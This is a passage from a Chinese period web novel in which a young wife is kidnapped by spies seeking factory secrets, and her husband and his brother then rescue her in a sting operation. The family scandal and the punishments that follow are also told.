螺丝厂筒子楼里，白兰听着柳美玲的抱怨，觉得她确实有点惨。主要是最近大房两口子搞这该死的猪肉代购，让柳美玲没办法再从山上的养猪场弄到肉了。 没错，虽然大房两口子藏着掖着。但苏小妹天天跟许美丽往郊区山上跑的事情，还是被人看了出来。 “现在除了大嫂，就剩下几个大厂子的采购，能从哪养猪场弄来猪肉了。” 大厂能拿到猪肉很正常，但大嫂能拿到就真是奇了怪了。 “你也别生气。反正我表哥那边不是说尽量帮你联络多几家养猪场、屠宰场吗？再不济，就卖卤鸡鸭鹅的杂碎也行。” 柳美玲虽然也有计划，但还是觉得很不爽。主要大嫂这种人，居然能跟养猪场攀上关系，简直是匪夷所思。 “那是许美丽走的关系。”这个白兰可以确定，但许美丽背后还有谁，就不太清楚了。 —— 妯娌两人正说着话呢，就听到屋门被人敲响，白兰打开一看，愣了。 来人居然正是她们口中的苏小妹。 只见苏小妹露出大大的笑容，扬了扬手里提着的一条排骨：“哎哟，三弟妹也在啊。你说你来小弟家走动也不叫上我。” 说着又看向白兰：“看吧！我对你们夫妻好不？这排骨用来炖萝卜可好吃呢。” 说着，苏小妹热情地把排骨往白兰手里塞。 整个过程在白兰看起来相当突兀。而且，她立马就想起了自己嫁过来前，那一段苏小妹无端献殷勤的事情。 那次苏小妹的目的是想要占自己的屋子。这次她又想要什么？ 柳美玲这时候开口了：“哎哟，大嫂，你可真大方啊！怎么？你这当大嫂的还偏心不成？只给小弟家送礼，不给我家送？” 这话一出，苏小妹表情有点扭曲起来。 白兰看出她这是想发飙又忍住的样子，忍不住朝柳美玲挤挤眼。 柳美玲挑眉，继续道：“你这样可不成。做大嫂就得要有大嫂的样子。” 白兰配合地点头，一副赞同的模样。 苏小妹见这两人唱双簧想占自己的便宜，肺都快要气炸了。但想到自己的来意，又忍住了：“行，这两天要看到有好的排骨，再给你留一条。” 白兰见状，忽然伸出手，把苏小妹一直提着的排骨抢了过来。笑眯眯地来了句：“谢谢大嫂了。” 冷不丁排骨被夺了，苏小妹愣了愣。伸出去的手还往空气抓了抓，然后才不甘心地松手。 那副肉痛的表情，看得白兰差点就笑出声音来。这苏小妹莫不是以为自己会跟她客气？这是不可能的。苏小妹既然想对自己做什么，那自己提前收点利息也好。 苏小妹忍着肉痛，嘴角抖动道：“不客气。以前是我做得不对，你跟小弟搬走后，我跟你大哥想了好久，还是决定来跟你们道个歉。以后咱都是好兄弟姐妹。” “大嫂，虽然你跟大哥这么些年也没干过什么像样的事儿。而且还让全家人都讨厌……” 白兰叭叭数落了苏小妹一通，见她忍得额角的青筋都冒了出来。这才慢条斯理地看向柳美玲：“对吧！三嫂。咱都不是小气的，不会跟大哥、大嫂一般见识的。” 柳美玲忍笑附和，心想白兰还真是个人才。 苏小妹听着“一般见识”这几个字，总觉得哪里不对劲。但又看白兰这副样子，心里多少有些放松起来。然后终于说出了自己的目的。 “哦？让你小弟跟着建北打下手？” 苏小妹期待地点头：“对对对，让他学点东西好找工作。不然明年就得下乡了。” 这要求听着挺正常的，但苏小妹说出来的，白兰却决定不怎么正常。 但她也不准备直接拒绝，她要吊着苏小妹，看看她葫芦里卖得什么药。 于是笑眯眯地说道：“这是男人的事情，我一个人女人不好管。不如这样，等建北下班我再问问他。” 苏小妹一听，还以为有门了。一副松了口气的样子：“谢谢，白兰。这事儿要真成了，大嫂一定报答你。” 等苏小妹一走，柳美玲好奇道：“你还真答应她啊！” 白兰：“我答应没用啊！要建北答应才成。” 本以为许建北会拒绝的，没想到等他上完夜班回来，听完后居然点头：“让他来！” 白兰惊讶：“真的？” 许建北点头：“来吧！不来这一出，我还在想他们出什么招呢？” 这话意思就多了。白兰敏锐地察觉到了什么，抬头看向许建北。 许建北拍了拍她手背：“有点问题。但我们能解决。说不定能一箭双雕。” 第50章 第50章白兰被绑 “大姐，这不成啊，天天加班加班加班。我连学徒工都不是，天天被人塞车间打螺丝，一点东西都学不到不说，还一毛钱工资都没有。你这是坑我呢！” 许家大房的屋子里，苏小妹的弟弟苏发财边抱怨边翻箱倒柜，等翻到一包花生糖后，立刻打开往嘴里塞。那样儿谁看了不说一句埋汰。 但苏小妹愣是觉得自家弟弟这是真受苦了，连忙道：“喝点水，别一下子吞进去。哎，小弟，这工作可是好不容易给你弄来的。” 苏发财不屑：“那许建北根本没有心教我。你还说去了后跟着他就行了。结果呢？许建北天天跟几个老头子讨论什么螺丝。根本不让我跟着。” 苏小妹气愤，知道小弟是受委屈了。这都去螺丝厂上班快一周了，结果还是这样。她起身想去找许建北麻烦。但还没跨过门槛又止住了。 “你再忍忍，我去找人帮你问问这个事情。” 苏发财以为苏小妹这是要找大姐夫压一压许建北呢。立马神气起来：“好好好，大姐我就等你的好消息了。” 这头安抚好小弟，那头苏小妹就给许美丽打电话。电话自然是抱怨许美丽出的馊主意，结果让她小弟白白当牛做马。 电话那头的许美丽皱眉：“那是许建北小气，不肯把真材绝学教给你小弟。我说，苏姐。你这当大嫂的也太没有用了。一个小叔子都弹压不了。” 这话让苏小妹说不出话来。确实，人许美丽是好心建议，结果小叔子自私自利不愿意教小弟。这跟许美丽真没有任何关系。 想到这些，苏小妹更加生气。觉得许建北当人小叔子的，居然还比不上许美丽一个外人。 人许美丽带她买肉，给她出主意。 许美丽可不知道苏小妹居然还在感激自己。这会儿挂上电话后，她立马就给自家大哥打了过去。 许强听完许美丽的话后，叹气。他是真没想到许建北居然那么不给他大嫂面子的。 之前就听说这人跟兄弟关系一般，反倒是跟对象家里亲近。但因为白梨那边没能得手，他就想着往对方大哥大嫂那边使劲儿。 没想到这都半个月了，一点进展都没有。想到从车间那得到的消息，许强知道留给自己的时间不多了。 他咬咬牙，出门去了。 —— 另一头，这些人口中的许建北，正跟曹昌盛说着话。 “你特意从钢厂过来，就是送这个？” 曹昌盛从包里拿了一块最新出炉的钢材出来。 “样品就是这个。按照你们提供的要求参数来生产的。已经通过试验阶段，你这边看看能不能用来生产出符合要求的螺丝。” 边说曹昌盛边觉得松了口气。 这段时间他们小组特别忙，忙什么？就是忙着给螺丝厂一个订单专门定制钢材。 这钢材的要求特别，而且因为重要，厂里一点都不马虎。 刚他给许建北的那块钢材，也是最新改良出来的。按照他们小组预估，这次绝对能满足螺丝厂的要求。 许建北见他一副憔悴的模样，笑着道：“那你赶紧回去休息。这材料我这边马上找老师傅帮忙。成了的话里面通知你们。” 工作的事情说好后，曹昌盛就起身回家休息去。这好不容易周末到了，他可舍不得一天到晚都工作。 刚出螺丝厂没多远，就听到前头小巷子有女人的求救声。曹昌盛顿时加快了脚步走过去。想着这人是不是遇到什么麻烦了。 走到巷子口，正好就看到在巷子的另一头，许强这小子，正举着拳头朝两个街溜子砸了过去。他边上站着个年轻姑娘。那姑娘正怒瞪那两个街溜子。 这场景一看，曹昌盛大概能猜到一些。加上那站着的姑娘不是别人正是白兰的二姐白梨。所以，他想也不想就往巷子走过去。 与此同时，那两个街溜子已经被许强打得连滚带爬跑了。 曹昌盛见状松了口气。脚步也放缓了下来。坏人走了就好，他也不用那么担心了。 但下一秒，曹昌盛发现自己这放心得太早了些。 因为街溜子前脚刚走，后脚就听到曹昌盛朝白梨说道：“白梨同志，你没事吧！” 白梨还一副惊魂未定的模样，听到许强的话，下意识摇头。随即就意识到眼前的人是那个讨厌的许强。但人家好歹救了自己，白梨也不是拎不清的。深吸一口气，开口道谢：“谢谢你了，许同志。” 许强听到这话，表情更加和缓，笑着道：“白梨同志，不用客气。说起来我们还真是有缘分。” 这话走向有点不对头，白梨皱眉：“没事的话我先走了。” 许强一听立刻上前一步：“白梨同志，等等。我有话要跟你说。” 走到巷子半路的曹昌盛，一时之间不知道该不该往前走。主要是他还没听到白梨拒绝的话。 而许强也不等白梨回复，想好的话已经脱口而出：“白梨同志，我是真的喜欢你。也是真想请求你给我一个机会。” 白梨：“许强同志，这是不可能的。我已经说过了。家里有事，我先走了。” 说着，白梨转身就想跑。但许强伸手抓住了她的胳膊。 这下，曹昌盛是确定许强这小子不干人事了。他撒丫子冲上去，从许强的身后就给他来了一个飞踢。直接把许强踹墙壁上去了。 白梨被这一番变故吓了一跳，随即高兴。这许强刚刚抓着她手臂太吓人了。果然，这人不是什么好东西。刚刚虽然救了自己，但马上就原形毕露。 “白梨同志，没事了吧！” 白梨摇头：“曹同志，谢谢你。” 曹昌盛摆摆手看向许强：“你小子是疯了不成，居然敢对女同志耍流氓！” 许强见到曹昌盛，真是肺都要气炸了。这臭小子所在的小组，抢了自己小组的项目，居然还敢踹自己。 他从地上爬起来，举起拳头就朝曹昌盛砸了过去。 但曹昌盛可不会给他这个机会。抬脚又给他来了一记窝心脚。看着再次倒地的许强，然后放狠话：“你再敢纠缠白梨同志，立马送你去派出所。” 说完，他看向白梨，见对方平复好了，马上就送她回白家。 留在原地的许强，听着空气中仿佛残留的话语，狠狠砸了一下地板。他知道所有迂回的办法不奏效。 这么一个小插曲，白梨回去后并没有告诉其他人。 而曹昌盛着急回去补眠，也没第一时间跟许建北说。 于是，没人知道许强在离开巷子后，终于拨打了那个他一直不敢打的号码。 —— 周一，白兰在纺织厂的大食堂后厨正忙着工作呢。结果就听到外头有人喊：“白兰，你大嫂来找你。很着急的样子。” 白兰看了看手表，才上午九点多。这个点苏小妹能来找自己什么。她不想出去，但外头很快又有一个人跑进来喊她。 白兰想了想，最终还是走到厂门口。看看这大嫂又搞什么事情。 结果刚到厂门口，就看到大嫂前面抱着个小孩，身后又背着个小孩。两个小孩的脸都是红彤彤的，一副难受的样子。 白兰立刻上前就问：“小强跟小勇怎么呢？” 小强跟小勇是苏小妹的两个儿子。一个六岁，一个四岁。平时都是婆婆苗大菊带着的，并不像苏小妹那样坏。也不是熊孩子。白兰还挺喜欢这两娃的。 听到白兰的话，苏小妹满脸焦急：“这不是你大哥今天出差了吗？妈一大早出去还没回来。爸也在上班。没法子，只能喊你帮帮忙。跟我一起把两孩子往医院送。” 如果是旁的忙，白兰是会直接拒绝的。但帮忙送孩子去医院，她是愿意的。而且两孩子都烧迷糊了，这年头可是有不少烧坏脑子的。知道不能耽误时间，白兰赶紧接过苏小妹手里的小勇，让她带路。 路上，她心里终于觉得有点奇怪。 这家里没人呢，但大杂院好多邻居啊！孩子发烧那么大的事情，该叫邻居帮忙的。这时候的邻居很有人情味，肯定会帮忙的。而且，家里出来不远就有个卫生站。在孩子发烧的紧急情况下，实在没必要抱到纺织厂来找自己。 越想越觉得不对劲， 白兰刚想说话。身后忽然出现一台吉普车。车门毫无预兆在行驶过程中打开，白兰直接被人给拽了进去。 整个过程发生的太快了，白兰甚至都没能反应过来。就被人用绳子捆住，动弹不得。而车外满脸庆幸的苏小妹，还没来得及离开，也被人给拽上了车子。包括两个发烧中的孩子。 —— 许建北今天照例上班到很晚才下班。昨天曹昌盛带来的材料，用来生产二哥需要的螺丝，效果更加卓越。成品刚出来，整个团队都觉得不可思议。 这样激动的事情，他就是加班也是高兴的。想着回来要跟白兰分享。因为成品出来了，意味着马上可以量产了。到这阶段，他的工作就不多了，可以按时上下班了。 但这样雀跃的心情，在回到家里，发现家里冷冷清清后，他立马就知道出事了。 白兰不会没有交代就不回来的。 许建北意识到这一点后，立刻跑下楼，直接给二哥打了个电话过去。 兄弟两人在电话说了几句旁人听不懂的话后，许建北就把电话挂上了。当他准备上楼的时候，楼里有个人给他递了一封信。 “建北，厂门口刚有人送了一封信过来，说是要给你的。” 许建北跟对方道谢过后，心里明白这封信里头肯定有白兰的消息。 50-60 第51章 第51章营救 “许美丽，怎么回事？不是说只是吓唬一下吗？人你们抓了，这都半夜了，怎么还不让我们回去？我两儿子还在发烧呢！” 昏暗的茅草房子里，苏小妹做在草堆上抱着两个还在发低烧的儿子。抬头朝许美丽质问道。 许美丽笑盈盈道：“苏姐，你不要担心。你家孩子发烧我也担心。咱上车的时候，不是都给你退烧药了吗？孩子吃药了，就不会有事。现在让你回去，你家里那边能糊弄过去？我这只不过是想吓一吓白兰，让她家里人担心一下。谁让那该死的白梨，居然敢拒绝我大哥几次呢？” 听着这些安抚的话，苏小妹还是不愿意继续呆在这黑黢黢的茅草屋，想尽快把孩子带回家去。但她也确实怕现在回去被许建北、被白家人质问。 毕竟纺织厂可是有不少人知道，白兰是被自己从厂里叫出去的。 想明白这些，苏小妹咬咬牙又提了其他要求。 要热水，要肉粥。许美丽一一满足。这下，总算是安静了下来。 一墙之隔的白兰，同样靠在一堆茅草边上。她把许美丽跟苏小妹的对话听了个全程，心里对苏小妹只有一个评价——蠢货。 怎么有人这么蠢，亲自上阵把自己引出来呢？现在外头的人肯定都认为，自己的始终跟苏小妹有很大的关系。不会有人知道背后指使的人是许美丽。又或者说，背后的人其实是许强。 至于目的，肯定不是许美丽口中的，二姐拒绝许强那么简单。 闻着空气中的猪屎味，白兰已经可以百分百确定，许强的目的，以及许强背后人的目的了。 想到这些，白兰叹气。 她是真没想到自己一个普普通通的人，居然还能碰上年代小说常会有的事儿——间谍。 是的，间谍。切除技术的间谍。 除了这个目的，没有别的了。 这个结论，白兰跟许建北早就有所猜测。只不过今天自己被绑，坐实了这个猜测罢了。 要问白兰怕不怕？其实多少有点的。但她跟许建北早就讨论过，要是碰上这个事儿要怎么办？现在，她不会轻举妄动，就等着许建北那边的行动了。 —— 同一时间，看完信封内容的许建北，冷笑一声。抬脚先回了趟办公室。然后带着一个厚厚的牛皮纸袋从厂里回到了住处。 二哥许建西已经在那等着自己。 “白家那边你不用担心，他们暂时不知道弟妹失踪的事情。” 许建西说这话的时候，有点子内疚。要不是他拿了那图纸回来，事情可能不会牵扯到小弟身上。 许建北摇头：“二哥，就是没有你这个事情，我其实也早就被许强盯上了。不然，他也不会处心积虑要跟白兰的二姐结婚。” 结婚了，跟自己这个连襟关系就更加近了。那么，要偷盗资料就更加容易了。 至于为什么盯上自己？许建北知道，跟去年去海城机床厂有关。 当初海城机床厂那个项目，大部分是真去参观学习的。但包括他跟白保卫，以及几个年轻人，被选进了一条特别小组。在那边跟着几个老专家接触了一些高端技术。 要不是后来白保卫跟白苹的身世曝光，让他跟白保卫提前回北城的话。他们两估计还要在海城多呆一个月。虽然是这样，但他们两个都是接触过保密技术的。 而且，当初这个项目选人的时候，许强可是上蹿下跳好久了。 加上二哥这忽然回来，给钢厂下了那么一个订单。许强队这个事情也特别在意。 这些事情看着都很不起眼，但是细心一点就能发现端倪。 所以，许建北早就跟二哥商量，想办法让把许强以及他身后的人一网打尽。 只是事儿还没真正下手，没想到对方忽然狗急跳墙。 许建西见小弟还能稳重，暗自松了口气。 其实，他这趟回来，就是特意带那个订单来北城引蛇出洞的。许建西还以为要耗几个月才能把人全都抓起来。没想到对方忽然来了这么一出。接下来的事情反倒是更加好办了。 “二哥，这些资料我现在就送过去。我跟许强谈判的时候，你们的人就去抓人。” 许建西点头：“这方面已经安排下去了，按照那边的速度，人已经包围过去了。不过你确定真要亲自怂去送？要二哥帮忙找人代替你吗？” 许建北抬头看着外面明亮的月光，摇头：“二哥，我想亲自动手帮白兰出气。” 没错，他收到的那个信封里，对方指明要他接触过的保密资料跟技术。用这些资料去换回白兰。而换人的地点，就在郊区的养猪场。 —— 郊区养猪场，同一个月亮下，白兰已经用身上带着的小刀片，割开了手脚的绳子。 但她不敢一个人往外头跑。现在外头听着是安静了。但白天她被抓的时候，可是亲眼看到那些人手里是有木仓的。这种神器，白兰自认为自己没有猪脚光环。不敢冒一点险。 但也因为她对许建北有信心。郊区养猪场有问题他们是早就分析出来的。特别是许家兄妹跟这里这么熟悉后。 所以，白兰准备随时做好保护自己的准备。 就在这个时候，外头忽然有了脚步声。紧接着就听到许强在门口说话的声音。 “许建北从螺丝厂出来呢？带着一个厚厚的牛皮纸袋？他一个人来的对吗？” 许强这一连串的问题问出，立马就有人淡淡道：“目标人物已经带了资料出来。确定是从他办公室拿出来 的。许强，这次你不能再搞砸了。” 这带着训斥的话，许强听得很不爽。但他这次的任务确实没有做好。 一开始只是想着迂回一点，扎根钢铁厂，交好各类技术人员。跟许建北这样有前途的技术工人攀上关系。为以后获取源源不绝的各种机密资料做好准备。 哪里能想到白梨这女人这么难搞的？害得自己的各种手段无法施展。好在，许建北有个蠢货大嫂。这才能把那个白兰给抓了回来。 “资料到手后，里头的人一个不流。”许强阴恻恻地跟对面的人建议。 对方漫不经心点头：“到时候记得一把火把证据都烧了。之后你就跟你妹妹低调一段时间。等风头过了，组织会有进一步的动作。” 屋里，白兰知道自己是真被人当死人了。不然怎么能听到这样的对话？ 她有点子怕的，忍不住握紧手上的刀片。很快，外面的交谈声结束。紧接着就是脚步声离开的声音。 这一安静又是一个多小时过去。白兰估摸了一下时间，现在估计是凌晨一点多了。 这个点，外面一点声音都没有。但连虫子的鸣叫都听不到一丁点儿，就有点奇怪。 要知道，他们所在的位置可是郊区的山上养猪场。 刚想这个，白兰又感觉到空气忽然凝滞了起来。有种什么大事马上要发生的感觉。 紧接着，白兰再次听到了脚步声。这次的脚步声很熟悉，白兰立刻意识到许建北来了。 许建北确实已经走到距离茅草屋不足十米的地方。 “人呢？”黑暗中，许建北只能看到影影绰绰的人影站在那茅草屋门口。 门口的人压着声音说道：“东西带来了没有？我们要先看东西，确定没问题才放人。” 许建北：“不行，我要先看到人没事我才给资料。不然，这东西你们休想拿到。” 话音刚落，许建北手里不知道什么时候出现了一束火光。一副要把资料点燃的样子。 这把边上埋伏准备偷袭的人吓了一跳。只能答应许建北的要求。 而白兰在听到许建北跟歹徒谈判的时候，就知道自己的机会到了。 她把手脚的绳子虚虚绑在手脚上，装作一副睡着的样子。听到有人开门进来，立刻一副吓得睁眼的样子。 来人是个不认识的壮汉，伸手就去拽白兰的胳膊。 白兰假装被他拽胳膊喊疼。在这人不注意的时候，手里的刀片就朝对方的脖子划拉了过去。 趁着壮汉把注意力放在脖子的关头，抬脚就给对方来了一记撩阴腿。 壮汉立马叫出了声音，捂住关键部位嗷嗷叫。 这个声音仿佛是开关那边，霎时间让隐忍不发的各方立刻动了起来。 白兰趁机把壮汉兜里的木仓强了过来。然后指着对方喊不要动。 外面也响起了各种打斗声，许建北这时候跑了进来。 这样大的动静，睡在另外一间屋子的苏小妹母子三人自然听到动静。苏小妹这人就跟有直觉那样。刚刚各种声音都装傻充愣。这会儿听到许建北进来的声音，立刻高喊救命。 许建北不理会对方，直接跑到白兰所在的那间屋子。听白兰的话，立刻用她之前伪装用的绳子，把壮汉的手脚给绑了起来。 至此，属于他们两个普通人的任务算是结束了。 —— “没受伤吧！”夫妻两人这才有空互相问候对方的情况。 “没事，有关部门的人已经来了。等他们把外面的人收拾后，咱就能回家。” 白兰点头：“嗯，回家。” 许建北伸手牵着白兰的一只手，另外一只手拿着那边木仓对着壮汉继续举着。 这木仓其实挺重的，白兰刚刚举得手有点软。心想自己也算是摸过七十年代的木仓了。这事儿以后可以跟后辈炫耀炫耀。 白兰这头开始天马行空，外面的行动却一点都不慢。 因为早有准备，虽然敌人挺多的，但收拾起来很顺利。没有人员伤亡，受伤了好几个。 白兰跟许建北被许二哥从茅草屋带出来时，还有心情跟二哥打招呼。 许建西见小弟夫妻两都好好的，也没有被吓着的样子。终于松了口气。 这时候，苏小妹也跑出来。刚开口想嚎叫一番自己的“委屈”。结果就听到许建西喊人：“这人也是同伙，一起带回去。” 这话一出，苏小妹吓得尖叫：“老二，你不帮我就算了。居然还要陷害我！” 许建西掏了掏耳朵，一副懒得理对方的样子：“不止是你，许建东也要带回去问话。你们清不清白，组织上自有公论。” 夜色下，就听着苏小妹的各种咒骂，白兰觉得真是神奇这人。 都敢带人绑票她了，这会儿还想怎么脱罪？不被木仓毙已经是最好的了。 就可怜屋里那两个依然发热的孩子。那两孩子发热是真的。但一起发热根本没那么巧合。 所以，这两孩子的发热，应该是苏小妹搞的鬼。 这种人真是够黑心的。都不配给孩子当妈了。也不知道她图什么，居然给许美丽卖命！ 第52章 第52章清算 “家里你不用管，二哥那边会跟爸妈说清楚。咱先去医院检查一下有没有哪里受伤……” 回家的路上，许建北絮絮叨叨说着今晚的事情，还有前期他跟许建西的各种安排。那唠叨劲儿，显然是对于白兰被绑这件事情耿耿于怀。 “嗯嗯，我知道的。放心，我没事。” 白兰边说边回握住许建北的大手。指尖的薄茧让她很有安全感。要说她不怕也是假的。但因为对许建北的信心，以及之前许建北跟她提过的一些信息，让她很清楚自己不会有任何危险。 夫妻两人唯一错估的，就是苏小妹居然蠢到被许家兄妹利用而已。 “家里我是真不管。” 不管怎样，苏小妹是许家两个孙子的亲妈。现在出了这样的事情，白兰其实也有点担心公婆一直转不过弯来。所以，她决定这几天在螺丝厂休息。 “对了，我家里那边还不知道今晚的事情。明天一早你过去跟他们说说。” 许建北听到白兰的话，立马点头。巴不得白兰再给自己几个任务，别操心外面的事情。 然而，关于苏小妹绑架白兰的这个事情，不等天亮就在大杂院传开了。 主要是因为苏小妹被抓走了，她身边带着的两个还在发烧的孩子，就需要送医院去检查。 许建西本人有工作还要忙，许建北要照顾白兰。最终，只能把苗大菊喊到医院。这一喊，大杂院的人就听到了一些风声。 —— “你啊你，出了这么大的事情，怎么就不跟家里说一句？” 螺丝厂筒子楼白兰家，这会儿隔出来的小厅坐满了白家人。白妈妈更是刚进门就数落起女儿来。不等白兰反应，又拉着白兰从头到脚检查了一遍，确定没有任何问题，这才松了口气。 “妈，我真没事！” 许建北今天也请假没去上班。见岳家一家人都来，赶紧招呼人坐下，顺道给他们倒茶。 白爸爸见他这副殷勤样儿，却一点好脸色都不给他。反倒是黑着脸质问：“这次的事情，你们家一定要给个交代。” “就是，姐夫。要不是昨天半夜有人跑去许家通知，我们怕都被蒙在鼓里了。”白保卫也不客气地数落起来。 天知道，昨晚半夜两点多得知白兰出事后，他们这些家人有多着急。要不是报信的拼命保证白兰很安全，没有任何问题。他们怕真是连夜就跑到螺丝厂找人了。 即使这样，今天他们一家还是五点就往这里跑。不亲眼看看白兰的情况，家里人都不放心。 白大姐更是直接，直接道：“苏小妹的事情必须有个交代。不然，我们是不敢让小妹再跟老许家的人住一起了。” 白二姐则是想得更多。她影影绰绰听说了事情涉及到了许美丽跟许强。白梨觉得是不是自己拒绝了许强，才给小妹引来这样的祸事？ 白兰一直笑眯 眯盯着家人的反应。一看二姐的表情，就知道她想岔了。连忙把事情的详细经过说了一遍。 从许建北去海城机床厂接触到的机密资料，再到许建西这次特意从南边回北城的钓鱼行动。再到许强那一系列十分迂回的间谍手段。 “所以，要不是二姐你对许美丽、许强兄妹两的警惕，即使跟许美丽闹掰的话。怕事情才会迈入不可控的范围。所以，你这还立功呢！” 众人一听，才知道这里面居然还有那么多弯弯绕绕。 白爸爸听完后感叹一句：“间谍无孔不入，咱这保密意识要加强再加强。” 在场唯二能够接触到这方面资料的许建北跟白保卫纷纷点头。 白兰见气氛变好了起来，终于松了口气。 —— 白家人是清楚事情的来龙去脉了。但大杂院众人还在云里雾里。 只知道白兰出事了，而害她的人就是带着两个儿子，据说回娘家的苏小妹。 于是，大伙儿一早起来，无论是去公厕排队，还是水槽边洗漱，都在聊着这个事情。好多人都猜苏小妹这是嫉妒白兰。所以才会害人。 就在众人议论纷纷的时候，苗大菊跟许老倔夫妻两人，一人背着一个孙子从外头走了进了。 “哎，回来啦！回来啦！” 胡寡妇领着人就迎了上去，大伙儿七手八脚帮忙接过孩子。嘴巴不忘打听到底发生什么事情。 一提这个，苗大菊脸都黑了下来。 跟她当了几十年的邻居，大伙儿一看她这副表情，就知道事情铁定很糟糕。一个个都劝道： “大菊啊，这牙齿还有碰到舌头的时候呢。苏小妹这人是糊涂，你多管管就是了。白兰那边听说没事对吧！” “就是，就是，家和万事兴啊！” 这些邻居只听说苏小妹害白兰，但白兰没出事。他们就以为只是小打小闹。根本不知道苏小妹胆子大到帮间谍绑架白兰。 当然，苗大菊十分了解苏小妹。几乎可以确定苏小妹这蠢货肯定不知道许家兄妹是间谍。不然的话，给她八百十个胆子，她都不敢做出这种事情来。 但是，甭管知道不知道。苏小妹既然敢伙同外人绑架妯娌，那么她也不会帮忙遮掩。家里更是要把事情都掰扯清楚。 “美玲，孩子帮忙带回去看着。我先跟邻居们说说昨天的事情。” 柳美玲跟许建南最近忙着卤肉事业，也是昨晚半夜有人来家里叫人的时候，才知道白兰出事的事情。 今天柳美玲就没出去，留在家里帮忙。 当下听到婆婆的话，立马上去接过她手里抱着的小孩。 对于大房的两个孩子，她倒是没有一点意见的。虽然她结婚那天，小的那个在她床上拉了尿。但那时候孩子才三岁，还是被亲妈故意抱上去的。傻乎乎什么都不懂。 平时这孩子看到自己还会乖巧喊人。这样可爱的孩子，这会儿却一副没有活力的样子。看得她都觉得不落忍。 特别是许建北夫妻以及二哥一直没出现，柳美玲就知道事情铁定不简单。 —— 这头苗大菊把孩子交给许美丽，转身对着眼前这些几十年的老邻居，开始说起苏小妹干的“好事”。 当然很多细节苗大菊并不清楚。但她知道苏小妹伙同许家兄妹绑架白兰。目的是逼他儿子偷盗螺丝厂的机密资料。 光是这个事儿说出来，大伙儿彻底哑火了。 特别是刚刚还在劝说的几个老邻居，一个个都张大嘴巴，难以置信。他们这些人一辈子做得最大的事情，也不过是跟邻居吵架或者打架。这苏小妹胆子居然大到绑架了。 “具体情况公安同志还在调查。但是苏小妹这人我是真不敢再往来了。” 这是苗大菊的真心话。她知道自己的大儿子不是什么好男人。好吃懒做没本事。这儿子从小就被婆婆惯坏了。这个事情她这个当妈的也有责任。当年刚做人儿媳妇，刚做人妈妈，不知道该怎么处理婆婆抢自己儿子这个事情。最终让大儿子变成个自私窝囊货。 因为清楚大儿子的本质，当年对方提出要娶苏小妹的时候，她还担心会祸害人家好姑娘。等知道苏小妹的本质后，她就不管了。 反正两个不怎么样的人凑一块，也算是另一种造福人类了。 那会子苗大菊就下定决心会一直盯着这两人，不让他们行差踏错。至于他们的孩子，她这个当奶奶的会亲自带。这一次，她要把他们的孩子培养成对社会有用的人。 这个想法苗大菊一直贯彻到现在，而且一直执行得很好。直到昨晚的事情发生，她才知道自己还是太天真了。 苏小妹真是又蠢又毒。被人哄骗绑架白兰，而且还用药让自己亲生儿子发热。 是的，昨晚半夜到了医院，她知道两个孙子的发热，是苏小妹弄出来的。 这样的人，怎么配当妈啊！ 就在大杂院因为苏小妹的事情惊讶不已的时候，出差两天的许建东回来了。 刚进大杂院，就被邻居拉着说一通苏小妹干的好事。许建东还没缓过来呢！后脚公安马上上门把他带走了。 这下，大杂院的邻居们更加震惊了！纷纷讨论起许建东是不是也是同谋。那他们夫妻干的事情，会不会被木仓毙。 —— 大杂院发生的事情，白兰中午就知道了。给她带来消息的人，是她的好朋友秦艳跟大头。 “钢厂那边据说也抓了好几个。还有几个国营大厂的采购，从去年开始跟那养猪场有往来的。也被带去问话了。” 大头一大早知道白兰出事后，就找到了许建北了解情况。然后就到处跑去打听事情的进展。 秦艳点头：“我们回收站也听说了这个事情。胡同现在人人都知道苏小妹又蠢又毒。她那个在螺丝厂当学徒的弟弟，今天也被人赶出来了。” 说到这里，秦艳忍不住幸灾乐祸起来。 白兰就知道这些人都会被清算。特别是那个郊区的养猪场。自己被抓是关在那，那边又有那么多猪，往来的又都是北城各大国营单位。这些接触过的人都会被抓去问话。看看他们有没有被渗透，有没有被猪肉腐蚀。 幸好表哥那边跟那个养猪场打交道的时候少。柳美玲的卤肉生意也早因为许美丽的关系，不在那拿肉了。 “反正最近我是不会大杂院了。院子有啥新情况，就拜托你们两给我说了。” “肯定没问题。”大头拍着胸脯保证。秦艳跟着附和：“大头出车的时候，就包在我身上。” 接下来半个月，北城可谓是十分热闹。 每天都能听说哪个单位的谁谁谁被有关部门请去喝茶问话。 也能听说谁谁谁被抓了，涉嫌透露机密资料。 总之，开年的这一个月，整个北城因为这个案子被翻了个底朝天。抓出来多少人就不说了，光是被单位处分或者开除的人就不少。 比如，靠着一块大肥肉而升职的许建东，因为苏小妹的招供，最后被撤掉了职务，而且还从工作清闲的岗位，调到最为辛苦的染色岗位。档案也被记过了一回。 可以说，他这辈子如果不是工作突出或者立了大功，一辈子也就这样了。 而这样的处理结果，还是因为查清他真的不知道许美丽兄妹是间谍。更加不知道苏小妹居然胆子大成这样。 至于苏小妹为什么会听从许美丽的吩咐，去绑架白兰？ 原因后来许建西说出来后，白兰都要无语了。 原来，苏小妹跟许建东偷偷摸摸跑去郊区那个养猪场买肉的时候，被许强拍了照片。这时候的照相机可是很精贵的。但间谍手里铁定不缺这东西。 拍了照片就有证据证明这两人投机倒把。加上许建东买了猪肉拿去走后门升职。这又是另外一个把柄。 被人抓住了两个把柄，许美丽威胁苏小妹不帮忙，就把事情宣扬 出去。到时候许建东就什么都没有了。 就因为这个威胁，苏小妹就答应了帮忙绑架白兰。 听完这些原因后，白兰真的相当无语。 搞半天，这些个把柄不还是被人揭发出来了吗？她是真不知道苏小妹的脑子到底是怎么想的。 至于苏小妹的处理结果，不是木仓毙，她的情节不到这份上。而且她是真不知道许家兄妹的底细。只以为许家兄妹是报复白梨不搭理他们。所以，苏小妹最后是被送去大西北开荒了。没有特殊情况，估计这辈子也回不来了。 这个结果送到家里后，许建东就闹着要跟苏小妹离婚。 他离不离婚苗大菊跟许老倔都不管。夫妻两人动手把许建东的行李打包好，直接连人呆行李塞到厂里的集体宿舍。 反正也要当光棍了，直接在厂里住好了。留在大杂院膈应邻居，也膈应家里人。 至于许强跟许美丽兄妹，因为他们牵扯了不少势力，查清楚后两人都被木仓毙了。当然，这些都是后话了。 在听说许建东被打包塞到厂里宿舍的那个晚上，白兰又做梦了。 这一次的梦果然跟二姐、许强有关。 在这个梦里，许强是间谍这个事情一直没有被人揭发。对方反倒是利用许美丽设局，先让纺织厂的人都以为他跟白梨在谈对象。 之后更是时不时在厂门口蹲点白梨。最后设局让混混围堵白梨，然后自己上去英雄救美。这才让白梨同意跟他处对象。 